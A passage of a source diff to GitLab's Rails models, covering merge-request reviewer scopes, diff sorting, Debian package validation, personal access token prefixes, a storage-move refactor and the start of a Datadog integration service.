@@ -314,6 +314,38 @@ class MergeRequest < ApplicationRecord
scope :with_jira_issue_keys, -> { where('title ~ :regex OR merge_requests.description ~ :regex', regex: Gitlab::Regex.jira_issue_key_regex.source) }
+ scope :review_requested, -> do
+ where(reviewers_subquery.exists)
+ end
+
+ scope :no_review_requested, -> do
+ where(reviewers_subquery.exists.not)
+ end
+
+ scope :review_requested_to, ->(user) do
+ where(
+ reviewers_subquery
+ .where(Arel::Table.new("#{to_ability_name}_reviewers")[:user_id].eq(user))
+ .exists
+ )
+ end
+
+ scope :no_review_requested_to, ->(user) do
+ where(
+ reviewers_subquery
+ .where(Arel::Table.new("#{to_ability_name}_reviewers")[:user_id].eq(user))
+ .exists
+ .not
+ )
+ end
+
+ def self.total_time_to_merge
+ join_metrics
+ .merge(MergeRequest::Metrics.with_valid_time_to_merge)
+ .pluck(MergeRequest::Metrics.time_to_merge_expression)
+ .first
+ end
+
after_save :keep_around_commit, unless: :importing?
alias_attribute :project, :target_project
@@ -361,6 +393,12 @@ class MergeRequest < ApplicationRecord
end
end
+ def self.reviewers_subquery
+ MergeRequestReviewer.arel_table
+ .project('true')
+ .where(Arel::Nodes::SqlLiteral.new("#{to_ability_name}_id = #{to_ability_name}s.id"))
+ end
+
def rebase_in_progress?
rebase_jid.present? && Gitlab::SidekiqStatus.running?(rebase_jid)
end
@@ -845,8 +883,8 @@ class MergeRequest < ApplicationRecord
!!merge_jid && !merged? && Gitlab::SidekiqStatus.running?(merge_jid)
end
- def closed_without_fork?
- closed? && source_project_missing?
+ def closed_or_merged_without_fork?
+ (closed? || merged?) && source_project_missing?
end
def source_project_missing?
@@ -941,7 +979,7 @@ class MergeRequest < ApplicationRecord
# rubocop: enable CodeReuse/ServiceClass
def diffable_merge_ref?
- merge_ref_head.present? && (Feature.enabled?(:display_merge_conflicts_in_diff, project) || can_be_merged?)
+ open? && merge_ref_head.present? && (Feature.enabled?(:display_merge_conflicts_in_diff, project) || can_be_merged?)
end
# Returns boolean indicating the merge_status should be rechecked in order to
@@ -1423,6 +1461,20 @@ class MergeRequest < ApplicationRecord
compare_reports(Ci::GenerateCoverageReportsService)
end
+ def has_codequality_reports?
+ return false unless Feature.enabled?(:codequality_mr_diff, project)
+
+ actual_head_pipeline&.has_reports?(Ci::JobArtifact.codequality_reports)
+ end
+
+ def compare_codequality_reports
+ unless has_codequality_reports?
+ return { status: :error, status_reason: _('This merge request does not have codequality reports') }
+ end
+
+ compare_reports(Ci::CompareCodequalityReportsService)
+ end
+
def find_terraform_reports
unless has_terraform_reports?
return { status: :error, status_reason: 'This merge request does not have terraform reports' }
@@ -1703,7 +1755,7 @@ class MergeRequest < ApplicationRecord
end
def allows_reviewers?
- Feature.enabled?(:merge_request_reviewers, project)
+ Feature.enabled?(:merge_request_reviewers, project, default_enabled: true)
end
def allows_multiple_reviewers?
diff --git a/app/models/merge_request/metrics.rb b/app/models/merge_request/metrics.rb
index 66bff3f5982..d3fe256fb1b 100644
--- a/app/models/merge_request/metrics.rb
+++ b/app/models/merge_request/metrics.rb
@@ -10,6 +10,11 @@ class MergeRequest::Metrics < ApplicationRecord
scope :merged_after, ->(date) { where(arel_table[:merged_at].gteq(date)) }
scope :merged_before, ->(date) { where(arel_table[:merged_at].lteq(date)) }
+ scope :with_valid_time_to_merge, -> { where(arel_table[:merged_at].gt(arel_table[:created_at])) }
+
+ def self.time_to_merge_expression
+ Arel.sql('EXTRACT(epoch FROM SUM(AGE(merge_request_metrics.merged_at, merge_request_metrics.created_at)))')
+ end
private
diff --git a/app/models/merge_request_diff.rb b/app/models/merge_request_diff.rb
index 24809141570..d23e66b9697 100644
--- a/app/models/merge_request_diff.rb
+++ b/app/models/merge_request_diff.rb
@@ -358,6 +358,7 @@ class MergeRequestDiff < ApplicationRecord
if comparison
comparison.diffs_in_batch(batch_page, batch_size, diff_options: diff_options)
else
+ reorder_diff_files!
diffs_in_batch_collection(batch_page, batch_size, diff_options: diff_options)
end
end
@@ -371,6 +372,7 @@ class MergeRequestDiff < ApplicationRecord
if comparison
comparison.diffs(diff_options)
else
+ reorder_diff_files!
diffs_collection(diff_options)
end
end
@@ -565,7 +567,7 @@ class MergeRequestDiff < ApplicationRecord
end
def build_merge_request_diff_files(diffs)
- diffs.map.with_index do |diff, index|
+ sort_diffs(diffs).map.with_index do |diff, index|
diff_hash = diff.to_hash.merge(
binary: false,
merge_request_diff_id: self.id,
@@ -678,6 +680,7 @@ class MergeRequestDiff < ApplicationRecord
rows = build_merge_request_diff_files(diff_collection)
create_merge_request_diff_files(rows)
+ new_attributes[:sorted] = true
self.class.uncached { merge_request_diff_files.reset }
end
@@ -719,6 +722,35 @@ class MergeRequestDiff < ApplicationRecord
repo.keep_around(start_commit_sha, head_commit_sha, base_commit_sha)
end
end
+
+ def reorder_diff_files!
+ return unless sort_diffs?
+ return if sorted? || merge_request_diff_files.empty?
+
+ diff_files = sort_diffs(merge_request_diff_files)
+
+ diff_files.each_with_index do |diff_file, index|
+ diff_file.relative_order = index
+ end
+
+ transaction do
+ # The `merge_request_diff_files` table doesn't have an `id` column so
+ # we cannot use `Gitlab::Database::BulkUpdate`.
+ MergeRequestDiffFile.where(merge_request_diff_id: id).delete_all
+ MergeRequestDiffFile.bulk_insert!(diff_files)
+ update_column(:sorted, true)
+ end
+ end
+
+ def sort_diffs(diffs)
+ return diffs unless sort_diffs?
+
+ Gitlab::Diff::FileCollectionSorter.new(diffs).sort
+ end
+
+ def sort_diffs?
+ Feature.enabled?(:sort_diffs, project, default_enabled: false)
+ end
end
MergeRequestDiff.prepend_if_ee('EE::MergeRequestDiff')
diff --git a/app/models/merge_request_reviewer.rb b/app/models/merge_request_reviewer.rb
index 1cb49c0cd76..c4e5274f832 100644
--- a/app/models/merge_request_reviewer.rb
+++ b/app/models/merge_request_reviewer.rb
@@ -2,5 +2,5 @@
class MergeRequestReviewer < ApplicationRecord
belongs_to :merge_request
- belongs_to :reviewer, class_name: "User", foreign_key: :user_id, inverse_of: :merge_request_assignees
+ belongs_to :reviewer, class_name: 'User', foreign_key: :user_id, inverse_of: :merge_request_reviewers
end
diff --git a/app/models/milestone.rb b/app/models/milestone.rb
index c8776be5e4a..c244150e7a3 100644
--- a/app/models/milestone.rb
+++ b/app/models/milestone.rb
@@ -9,6 +9,10 @@ class Milestone < ApplicationRecord
prepend_if_ee('::EE::Milestone') # rubocop: disable Cop/InjectEnterpriseEditionModule
+ class Predefined
+ ALL = [::Timebox::None, ::Timebox::Any, ::Timebox::Started, ::Timebox::Upcoming].freeze
+ end
+
has_many :milestone_releases
has_many :releases, through: :milestone_releases
diff --git a/app/models/namespace.rb b/app/models/namespace.rb
index 232d0a6b05d..238e8f70778 100644
--- a/app/models/namespace.rb
+++ b/app/models/namespace.rb
@@ -28,6 +28,7 @@ class Namespace < ApplicationRecord
has_many :runner_namespaces, inverse_of: :namespace, class_name: 'Ci::RunnerNamespace'
has_many :runners, through: :runner_namespaces, source: :runner, class_name: 'Ci::Runner'
+ has_many :namespace_onboarding_actions
# This should _not_ be `inverse_of: :namespace`, because that would also set
# `user.namespace` when this user creates a group with themselves as `owner`.
diff --git a/app/models/namespace_onboarding_action.rb b/app/models/namespace_onboarding_action.rb
new file mode 100644
index 00000000000..43dd872673c
--- /dev/null
+++ b/app/models/namespace_onboarding_action.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class NamespaceOnboardingAction < ApplicationRecord
+ belongs_to :namespace, optional: false
+
+ validates :action, presence: true
+
+ ACTIONS = {
+ subscription_created: 1,
+ git_write: 2,
+ merge_request_created: 3,
+ git_read: 4,
+ user_added: 6
+ }.freeze
+
+ enum action: ACTIONS
+
+ class << self
+ def completed?(namespace, action)
+ where(namespace: namespace, action: action).exists?
+ end
+
+ def create_action(namespace, action)
+ NamespaceOnboardingAction.safe_find_or_create_by(namespace: namespace, action: action)
+ end
+ end
+end
diff --git a/app/models/note.rb b/app/models/note.rb
index cfdac6c432f..77f7726079c 100644
--- a/app/models/note.rb
+++ b/app/models/note.rb
@@ -145,7 +145,6 @@ class Note < ApplicationRecord
after_save :expire_etag_cache, unless: :importing?
after_save :touch_noteable, unless: :importing?
after_destroy :expire_etag_cache
- after_save :store_mentions!, if: :any_mentionable_attributes_changed?
after_commit :notify_after_create, on: :create
after_commit :notify_after_destroy, on: :destroy
@@ -548,8 +547,8 @@ class Note < ApplicationRecord
private
- # Using this method followed by a call to `save` may result in ActiveRecord::RecordNotUnique exception
- # in a multithreaded environment. Make sure to use it within a `safe_ensure_unique` block.
+ # Using this method followed by a call to *save* may result in *ActiveRecord::RecordNotUnique* exception
+ # in a multi-threaded environment. Make sure to use it within a *safe_ensure_unique* block.
def model_user_mention
return if user_mentions.is_a?(ActiveRecord::NullRelation)
diff --git a/app/models/notification_setting.rb b/app/models/notification_setting.rb
index 6066046a722..82e39e4f207 100644
--- a/app/models/notification_setting.rb
+++ b/app/models/notification_setting.rb
@@ -30,6 +30,7 @@ class NotificationSetting < ApplicationRecord
scope :preload_source_route, -> { preload(source: [:route]) }
+ # NOTE: Applicable unfound_translations.rb also needs to be updated when below events are changed.
EMAIL_EVENTS = [
:new_release,
:new_note,
@@ -51,7 +52,6 @@ class NotificationSetting < ApplicationRecord
:moved_project
].freeze
- # Update unfound_translations.rb when events are changed
def self.email_events(source = nil)
EMAIL_EVENTS
end
diff --git a/app/models/packages/event.rb b/app/models/packages/event.rb
index 959c94931ec..13da82d16d3 100644
--- a/app/models/packages/event.rb
+++ b/app/models/packages/event.rb
@@ -25,7 +25,7 @@ class Packages::Event < ApplicationRecord
enum originator_type: { user: 0, deploy_token: 1, guest: 2 }
def self.allowed_event_name(event_scope, event_type, originator)
- return unless event_allowed?(event_scope, event_type, originator)
+ return unless event_allowed?(event_type)
# remove `package` from the event name to avoid issues with HLLRedisCounter class parsing
"i_package_#{event_scope}_#{originator}_#{event_type.gsub(/_packages?/, "")}"
@@ -33,8 +33,7 @@ class Packages::Event < ApplicationRecord
# Remove some of the events, for now, so we don't hammer Redis too hard.
# See: https://gitlab.com/gitlab-org/gitlab/-/issues/280770
- def self.event_allowed?(event_scope, event_type, originator)
- return false if originator.to_sym == :guest
+ def self.event_allowed?(event_type)
return true if UNIQUE_EVENTS_ALLOWED.include?(event_type.to_sym)
false
diff --git a/app/models/packages/package.rb b/app/models/packages/package.rb
index 60aab0a7222..10c98f03804 100644
--- a/app/models/packages/package.rb
+++ b/app/models/packages/package.rb
@@ -28,7 +28,7 @@ class Packages::Package < ApplicationRecord
validates :project, presence: true
validates :name, presence: true
- validates :name, format: { with: Gitlab::Regex.package_name_regex }, unless: -> { conan? || generic? }
+ validates :name, format: { with: Gitlab::Regex.package_name_regex }, unless: -> { conan? || generic? || debian? }
validates :name,
uniqueness: { scope: %i[project_id version package_type] }, unless: :conan?
@@ -40,6 +40,8 @@ class Packages::Package < ApplicationRecord
validates :name, format: { with: Gitlab::Regex.conan_recipe_component_regex }, if: :conan?
validates :name, format: { with: Gitlab::Regex.generic_package_name_regex }, if: :generic?
validates :name, format: { with: Gitlab::Regex.nuget_package_name_regex }, if: :nuget?
+ validates :name, format: { with: Gitlab::Regex.debian_package_name_regex }, if: :debian_package?
+ validates :name, inclusion: { in: %w[incoming] }, if: :debian_incoming?
validates :version, format: { with: Gitlab::Regex.nuget_version_regex }, if: :nuget?
validates :version, format: { with: Gitlab::Regex.conan_recipe_component_regex }, if: :conan?
validates :version, format: { with: Gitlab::Regex.maven_version_regex }, if: -> { version? && maven? }
@@ -51,6 +53,11 @@ class Packages::Package < ApplicationRecord
presence: true,
format: { with: Gitlab::Regex.generic_package_version_regex },
if: :generic?
+ validates :version,
+ presence: true,
+ format: { with: Gitlab::Regex.debian_version_regex },
+ if: :debian_package?
+ validate :forbidden_debian_changes, if: :debian?
enum package_type: { maven: 1, npm: 2, conan: 3, nuget: 4, pypi: 5, composer: 6, generic: 7, golang: 8, debian: 9 }
@@ -184,6 +191,14 @@ class Packages::Package < ApplicationRecord
tags.pluck(:name)
end
+ def debian_incoming?
+ debian? && version.nil?
+ end
+
+ def debian_package?
+ debian? && !version.nil?
+ end
+
private
def composer_tag_version?
@@ -228,4 +243,13 @@ class Packages::Package < ApplicationRecord
errors.add(:base, _('Package already exists'))
end
end
+
+ def forbidden_debian_changes
+ return unless persisted?
+
+ # Debian incoming
+ if version_was.nil? || version.nil?
+ errors.add(:version, _('cannot be changed')) if version_changed?
+ end
+ end
end
diff --git a/app/models/packages/package_file.rb b/app/models/packages/package_file.rb
index d68f75140ac..e8d1dd1e8c4 100644
--- a/app/models/packages/package_file.rb
+++ b/app/models/packages/package_file.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true
class Packages::PackageFile < ApplicationRecord
include UpdateProjectStatistics
+ include FileStoreMounter
delegate :project, :project_id, to: :package
delegate :conan_file_type, to: :conan_file_metadatum
@@ -35,20 +36,12 @@ class Packages::PackageFile < ApplicationRecord
.where(packages_conan_file_metadata: { conan_package_reference: conan_package_reference })
end
- mount_uploader :file, Packages::PackageFileUploader
-
- after_save :update_file_metadata, if: :saved_change_to_file?
+ mount_file_store_uploader Packages::PackageFileUploader
update_project_statistics project_statistics_name: :packages_size
before_save :update_size_from_file
- def update_file_metadata
- # The file.object_store is set during `uploader.store!`
- # which happens after object is inserted/updated
- self.update_column(:file_store, file.object_store)
- end
-
def download_path
Gitlab::Routing.url_helpers.download_project_package_file_path(project, self)
end
diff --git a/app/models/pages/lookup_path.rb b/app/models/pages/lookup_path.rb
index 9855731778f..84928468ad1 100644
--- a/app/models/pages/lookup_path.rb
+++ b/app/models/pages/lookup_path.rb
@@ -2,6 +2,8 @@
module Pages
class LookupPath
+ include Gitlab::Utils::StrongMemoize
+
def initialize(project, trim_prefix: nil, domain: nil)
@project = project
@domain = domain
@@ -37,37 +39,28 @@ module Pages
attr_reader :project, :trim_prefix, :domain
- def artifacts_archive
- return unless Feature.enabled?(:pages_serve_from_artifacts_archive, project)
-
- project.pages_metadatum.artifacts_archive
- end
-
def deployment
- return unless Feature.enabled?(:pages_serve_from_deployments, project)
+ strong_memoize(:deployment) do
+ next unless Feature.enabled?(:pages_serve_from_deployments, project, default_enabled: true)
- project.pages_metadatum.pages_deployment
+ project.pages_metadatum.pages_deployment
+ end
end
def zip_source
- source = deployment || artifacts_archive
-
- return unless source&.file
-
- return if source.file.file_storage? && !Feature.enabled?(:pages_serve_with_zip_file_protocol, project)
+ return unless deployment&.file
- # artifacts archive doesn't support this
- file_count = source.file_count if source.respond_to?(:file_count)
+ return if deployment.file.file_storage? && !Feature.enabled?(:pages_serve_with_zip_file_protocol, project)
- global_id = ::Gitlab::GlobalId.build(source, id: source.id).to_s
+ global_id = ::Gitlab::GlobalId.build(deployment, id: deployment.id).to_s
{
type: 'zip',
- path: source.file.url_or_file_path(expire_at: 1.day.from_now),
+ path: deployment.file.url_or_file_path(expire_at: 1.day.from_now),
global_id: global_id,
- sha256: source.file_sha256,
- file_size: source.size,
- file_count: file_count
+ sha256: deployment.file_sha256,
+ file_size: deployment.size,
+ file_count: deployment.file_count
}
end
diff --git a/app/models/pages_domain.rb b/app/models/pages_domain.rb
index 8192310ddfb..4004ea9a662 100644
--- a/app/models/pages_domain.rb
+++ b/app/models/pages_domain.rb
@@ -34,10 +34,10 @@ class PagesDomain < ApplicationRecord
validate :validate_matching_key, if: ->(domain) { domain.certificate.present? || domain.key.present? }
validate :validate_intermediates, if: ->(domain) { domain.certificate.present? && domain.certificate_changed? }
- default_value_for(:auto_ssl_enabled, allow_nil: false) { ::Gitlab::LetsEncrypt.enabled? }
- default_value_for :scope, allow_nil: false, value: :project
- default_value_for :wildcard, allow_nil: false, value: false
- default_value_for :usage, allow_nil: false, value: :pages
+ default_value_for(:auto_ssl_enabled, allows_nil: false) { ::Gitlab::LetsEncrypt.enabled? }
+ default_value_for :scope, allows_nil: false, value: :project
+ default_value_for :wildcard, allows_nil: false, value: false
+ default_value_for :usage, allows_nil: false, value: :pages
attr_encrypted :key,
mode: :per_attribute_iv_and_salt,
diff --git a/app/models/personal_access_token.rb b/app/models/personal_access_token.rb
index 5aa5f2c842b..3b07551fe05 100644
--- a/app/models/personal_access_token.rb
+++ b/app/models/personal_access_token.rb
@@ -9,7 +9,9 @@ class PersonalAccessToken < ApplicationRecord
add_authentication_token_field :token, digest: true
REDIS_EXPIRY_TIME = 3.minutes
- TOKEN_LENGTH = 20
+
+ # PATs are 20 characters + optional configurable settings prefix (0..20)
+ TOKEN_LENGTH_RANGE = (20..40).freeze
serialize :scopes, Array # rubocop:disable Cop/ActiveRecordSerialize
@@ -77,6 +79,15 @@ class PersonalAccessToken < ApplicationRecord
)
end
+ def self.token_prefix
+ Gitlab::CurrentSettings.current_application_settings.personal_access_token_prefix
+ end
+
+ override :format_token
+ def format_token(token)
+ "#{self.class.token_prefix}#{token}"
+ end
+
protected
def validate_scopes
diff --git a/app/models/project.rb b/app/models/project.rb
index ebd8e56246d..daa5605c2e0 100644
--- a/app/models/project.rb
+++ b/app/models/project.rb
@@ -19,6 +19,7 @@ class Project < ApplicationRecord
include Presentable
include HasRepository
include HasWiki
+ include CanMoveRepositoryStorage
include Routable
include GroupDescendant
include Gitlab::SQL::Pattern
@@ -64,6 +65,8 @@ class Project < ApplicationRecord
SORTING_PREFERENCE_FIELD = :projects_sort
MAX_BUILD_TIMEOUT = 1.month
+ GL_REPOSITORY_TYPES = [Gitlab::GlRepository::PROJECT, Gitlab::GlRepository::WIKI, Gitlab::GlRepository::DESIGN].freeze
+
cache_markdown_field :description, pipeline: :description
default_value_for :packages_enabled, true
@@ -145,6 +148,7 @@ class Project < ApplicationRecord
# Project services
has_one :alerts_service
has_one :campfire_service
+ has_one :datadog_service
has_one :discord_service
has_one :drone_ci_service
has_one :emails_on_push_service
@@ -164,6 +168,7 @@ class Project < ApplicationRecord
has_one :bamboo_service
has_one :teamcity_service
has_one :pushover_service
+ has_one :jenkins_service
has_one :jira_service
has_one :redmine_service
has_one :youtrack_service
@@ -222,6 +227,7 @@ class Project < ApplicationRecord
has_many :snippets, class_name: 'ProjectSnippet'
has_many :hooks, class_name: 'ProjectHook'
has_many :protected_branches
+ has_many :exported_protected_branches
has_many :protected_tags
has_many :repository_languages, -> { order "share DESC" }
has_many :designs, inverse_of: :project, class_name: 'DesignManagement::Design'
@@ -336,7 +342,7 @@ class Project < ApplicationRecord
has_many :daily_build_group_report_results, class_name: 'Ci::DailyBuildGroupReportResult'
- has_many :repository_storage_moves, class_name: 'ProjectRepositoryStorageMove'
+ has_many :repository_storage_moves, class_name: 'ProjectRepositoryStorageMove', inverse_of: :container
has_many :webide_pipelines, -> { webide_source }, class_name: 'Ci::Pipeline', inverse_of: :project
has_many :reviews, inverse_of: :project
@@ -379,11 +385,11 @@ class Project < ApplicationRecord
delegate :feature_available?, :builds_enabled?, :wiki_enabled?,
:merge_requests_enabled?, :forking_enabled?, :issues_enabled?,
- :pages_enabled?, :snippets_enabled?, :public_pages?, :private_pages?,
+ :pages_enabled?, :analytics_enabled?, :snippets_enabled?, :public_pages?, :private_pages?,
:merge_requests_access_level, :forking_access_level, :issues_access_level,
:wiki_access_level, :snippets_access_level, :builds_access_level,
- :repository_access_level, :pages_access_level, :metrics_dashboard_access_level,
- to: :project_feature, allow_nil: true
+ :repository_access_level, :pages_access_level, :metrics_dashboard_access_level, :analytics_access_level,
+ :operations_enabled?, :operations_access_level, to: :project_feature, allow_nil: true
delegate :show_default_award_emojis, :show_default_award_emojis=,
:show_default_award_emojis?,
to: :project_setting, allow_nil: true
@@ -404,7 +410,7 @@ class Project < ApplicationRecord
delegate :forward_deployment_enabled, :forward_deployment_enabled=, :forward_deployment_enabled?, to: :ci_cd_settings, prefix: :ci
delegate :actual_limits, :actual_plan_name, to: :namespace, allow_nil: true
delegate :allow_merge_on_skipped_pipeline, :allow_merge_on_skipped_pipeline?,
- :allow_merge_on_skipped_pipeline=, :has_confluence?,
+ :allow_merge_on_skipped_pipeline=, :has_confluence?, :allow_editing_commit_messages?,
to: :project_setting
delegate :active?, to: :prometheus_service, allow_nil: true, prefix: true
@@ -1349,6 +1355,8 @@ class Project < ApplicationRecord
end
def disabled_services
+ return ['datadog'] unless Feature.enabled?(:datadog_ci_integration, self)
+
[]
end
@@ -1836,6 +1844,7 @@ class Project < ApplicationRecord
wiki.repository.expire_content_cache
DetectRepositoryLanguagesWorker.perform_async(id)
+ ProjectCacheWorker.perform_async(self.id, [], [:repository_size])
# The import assigns iid values on its own, e.g. by re-using GitHub ids.
# Flush existing InternalId records for this project for consistency reasons.
@@ -1952,6 +1961,7 @@ class Project < ApplicationRecord
.concat(predefined_project_variables)
.concat(pages_variables)
.concat(container_registry_variables)
+ .concat(dependency_proxy_variables)
.concat(auto_devops_variables)
.concat(api_variables)
end
@@ -2003,6 +2013,18 @@ class Project < ApplicationRecord
end
end
+ def dependency_proxy_variables
+ Gitlab::Ci::Variables::Collection.new.tap do |variables|
+ break variables unless Gitlab.config.dependency_proxy.enabled
+
+ variables.append(key: 'CI_DEPENDENCY_PROXY_SERVER', value: "#{Gitlab.config.gitlab.host}:#{Gitlab.config.gitlab.port}")
+ variables.append(
+ key: 'CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX',
+ value: "#{Gitlab.config.gitlab.host}:#{Gitlab.config.gitlab.port}/#{namespace.root_ancestor.path}#{DependencyProxy::URL_SUFFIX}"
+ )
+ end
+ end
+
def container_registry_variables
Gitlab::Ci::Variables::Collection.new.tap do |variables|
break variables unless Gitlab.config.registry.enabled
@@ -2091,39 +2113,6 @@ class Project < ApplicationRecord
(auto_devops || build_auto_devops)&.predefined_variables
end
- RepositoryReadOnlyError = Class.new(StandardError)
-
- # Tries to set repository as read_only, checking for existing Git transfers in
- # progress beforehand. Setting a repository read-only will fail if it is
- # already in that state.
- #
- # @return nil. Failures will raise an exception
- def set_repository_read_only!
- with_lock do
- raise RepositoryReadOnlyError, _('Git transfer in progress') if
- git_transfer_in_progress?
-
- raise RepositoryReadOnlyError, _('Repository already read-only') if
- self.class.where(id: id).pick(:repository_read_only)
-
- raise ActiveRecord::RecordNotSaved, _('Database update failed') unless
- update_column(:repository_read_only, true)
-
- nil
- end
- end
-
- # Set repository as writable again. Unlike setting it read-only, this will
- # succeed if the repository is already writable.
- def set_repository_writable!
- with_lock do
- raise ActiveRecord::RecordNotSaved, _('Database update failed') unless
- update_column(:repository_read_only, false)
-
- nil
- end
- end
-
def pushes_since_gc
Gitlab::Redis::SharedState.with { |redis| redis.get(pushes_since_gc_redis_shared_state_key).to_i }
end
@@ -2273,8 +2262,11 @@ class Project < ApplicationRecord
end
end
+ override :git_transfer_in_progress?
def git_transfer_in_progress?
- repo_reference_count > 0 || wiki_reference_count > 0
+ GL_REPOSITORY_TYPES.any? do |type|
+ reference_counter(type: type).value > 0
+ end
end
def storage_version=(value)
@@ -2283,10 +2275,6 @@ class Project < ApplicationRecord
@storage = nil if storage_version_changed?
end
- def reference_counter(type: Gitlab::GlRepository::PROJECT)
- Gitlab::ReferenceCounter.new(type.identifier_for_container(self))
- end
-
def badges
return project_badges unless group
@@ -2498,8 +2486,7 @@ class Project < ApplicationRecord
end
def service_desk_custom_address
- return unless ::Gitlab::ServiceDeskEmail.enabled?
- return unless ::Feature.enabled?(:service_desk_custom_address, self)
+ return unless service_desk_custom_address_enabled?
key = service_desk_setting&.project_key
return unless key.present?
@@ -2507,6 +2494,10 @@ class Project < ApplicationRecord
::Gitlab::ServiceDeskEmail.address_for_key("#{full_path_slug}-#{key}")
end
+ def service_desk_custom_address_enabled?
+ ::Gitlab::ServiceDeskEmail.enabled? && ::Feature.enabled?(:service_desk_custom_address, self, default_enabled: true)
+ end
+
def root_namespace
if namespace.has_parent?
namespace.root_ancestor
@@ -2607,14 +2598,6 @@ class Project < ApplicationRecord
end
end
- def repo_reference_count
- reference_counter.value
- end
-
- def wiki_reference_count
- reference_counter(type: Gitlab::GlRepository::WIKI).value
- end
-
def check_repository_absence!
return if skip_disk_validation
diff --git a/app/models/project_feature.rb b/app/models/project_feature.rb
index b3ebcbd4b17..7b204cfb1c0 100644
--- a/app/models/project_feature.rb
+++ b/app/models/project_feature.rb
@@ -3,7 +3,7 @@
class ProjectFeature < ApplicationRecord
include Featurable
- FEATURES = %i(issues forking merge_requests wiki snippets builds repository pages metrics_dashboard).freeze
+ FEATURES = %i(issues forking merge_requests wiki snippets builds repository pages metrics_dashboard analytics operations).freeze
set_available_features(FEATURES)
@@ -44,7 +44,9 @@ class ProjectFeature < ApplicationRecord
default_value_for :snippets_access_level, value: ENABLED, allows_nil: false
default_value_for :wiki_access_level, value: ENABLED, allows_nil: false
default_value_for :repository_access_level, value: ENABLED, allows_nil: false
+ default_value_for :analytics_access_level, value: ENABLED, allows_nil: false
default_value_for :metrics_dashboard_access_level, value: PRIVATE, allows_nil: false
+ default_value_for :operations_access_level, value: ENABLED, allows_nil: false
default_value_for(:pages_access_level, allows_nil: false) do |feature|
if ::Gitlab::Pages.access_control_is_forced?
diff --git a/app/models/project_repository.rb b/app/models/project_repository.rb
index 092efabd73f..a9cef16f3ac 100644
--- a/app/models/project_repository.rb
+++ b/app/models/project_repository.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true
class ProjectRepository < ApplicationRecord
+ include EachBatch
include Shardable
belongs_to :project, inverse_of: :project_repository
diff --git a/app/models/project_repository_storage_move.rb b/app/models/project_repository_storage_move.rb
index 3429dbe3a85..1e3782a1fb5 100644
--- a/app/models/project_repository_storage_move.rb
+++ b/app/models/project_repository_storage_move.rb
@@ -4,100 +4,31 @@
# project. For example, moving a project to another gitaly node to help
# balance storage capacity.
class ProjectRepositoryStorageMove < ApplicationRecord
- include AfterCommitQueue
+ extend ::Gitlab::Utils::Override
+ include RepositoryStorageMovable
- belongs_to :project, inverse_of: :repository_storage_moves
+ belongs_to :container, class_name: 'Project', inverse_of: :repository_storage_moves, foreign_key: :project_id
+ alias_attribute :project, :container
+ scope :with_projects, -> { includes(container: :route) }
- validates :project, presence: true
- validates :state, presence: true
- validates :source_storage_name,
- on: :create,
- presence: true,
- inclusion: { in: ->(_) { Gitlab.config.repositories.storages.keys } }
- validates :destination_storage_name,
- on: :create,
- presence: true,
- inclusion: { in: ->(_) { Gitlab.config.repositories.storages.keys } }
- validate :project_repository_writable, on: :create
-
- default_value_for(:destination_storage_name, allows_nil: false) do
- pick_repository_storage
- end
-
- state_machine initial: :initial do
- event :schedule do
- transition initial: :scheduled
- end
-
- event :start do
- transition scheduled: :started
- end
-
- event :finish_replication do
- transition started: :replicated
- end
-
- event :finish_cleanup do
- transition replicated: :finished
- end
-
- event :do_fail do
- transition [:initial, :scheduled, :started] => :failed
- transition replicated: :cleanup_failed
- end
-
- around_transition initial: :scheduled do |storage_move, block|
- block.call
-
- begin
- storage_move.project.set_repository_read_only!
- rescue => err
- errors.add(:project, err.message)
- next false
- end
-
- storage_move.run_after_commit do
- ProjectUpdateRepositoryStorageWorker.perform_async(
- storage_move.project_id,
- storage_move.destination_storage_name,
- storage_move.id
- )
- end
-
- true
- end
-
- before_transition started: :replicated do |storage_move|
- storage_move.project.set_repository_writable!
-
- storage_move.project.update_column(:repository_storage, storage_move.destination_storage_name)
- end
-
- before_transition started: :failed do |storage_move|
- storage_move.project.set_repository_writable!
- end
-
- state :initial, value: 1
- state :scheduled, value: 2
- state :started, value: 3
- state :finished, value: 4
- state :failed, value: 5
- state :replicated, value: 6
- state :cleanup_failed, value: 7
+ override :update_repository_storage
+ def update_repository_storage(new_storage)
+ container.update_column(:repository_storage, new_storage)
end
- scope :order_created_at_desc, -> { order(created_at: :desc) }
- scope :with_projects, -> { includes(project: :route) }
-
- class << self
- def pick_repository_storage
- Project.pick_repository_storage
- end
+ override :schedule_repository_storage_update_worker
+ def schedule_repository_storage_update_worker
+ ProjectUpdateRepositoryStorageWorker.perform_async(
+ project_id,
+ destination_storage_name,
+ id
+ )
end
private
- def project_repository_writable
- errors.add(:project, _('is read only')) if project&.repository_read_only?
+ override :error_key
+ def error_key
+ :project
end
end
diff --git a/app/models/project_services/datadog_service.rb b/app/models/project_services/datadog_service.rb
new file mode 100644
index 00000000000..543843ab1b0
--- /dev/null
+++ b/app/models/project_services/datadog_service.rb
@@ -0,0 +1,124 @@
+# frozen_string_literal: true
+
+class DatadogService < Service
+ DEFAULT_SITE = 'datadoghq.com'.freeze
+ URL_TEMPLATE = 'https://webhooks-http-intake.logs.%{datadog_site}/v1/input/'.freeze
+ URL_TEMPLATE_API_KEYS = 'https://app.%{datadog_site}/account/settings#api'.freeze
+ URL_API_KEYS_DOCS = "https://docs.#{DEFAULT_SITE}/account_management/api-app-keys/".freeze
+
+ SUPPORTED_EVENTS = %w[
+ pipeline job
+ ].freeze
+
+ prop_accessor :datadog_site, :api_url, :api_key, :datadog_service, :datadog_env
+
+ with_options presence: true, if: :activated? do
+ validates :api_key, format: { with: /\A\w+\z/ }
+ validates :datadog_site, format: { with: /\A[\w\.]+\z/ }, unless: :api_url
+ validates :api_url, public_url: true, unless: :datadog_site
+ end
+
+ after_save :compose_service_hook, if: :activated?
+
+ def self.supported_events
+ SUPPORTED_EVENTS
+ end
+
+ def self.default_test_event
+ 'pipeline'
+ end
+
+ def configurable_events
+ [] # do not allow to opt out of required hooks
+ end
+
+ def title
+ 'Datadog'
+ end
+
+ def description
+ 'Trace your GitLab pipelines with Datadog'
+ end
+
+ def help
+ nil
+ # Maybe adding something in the future
+ # We could link to static help pages as well
+ # [More information](#{Gitlab::Routing.url_helpers.help_page_url('integration/datadog')})"
+ end
+
+ def self.to_param
+ 'datadog'
+ end
+
+ def fields
+ [
+ {
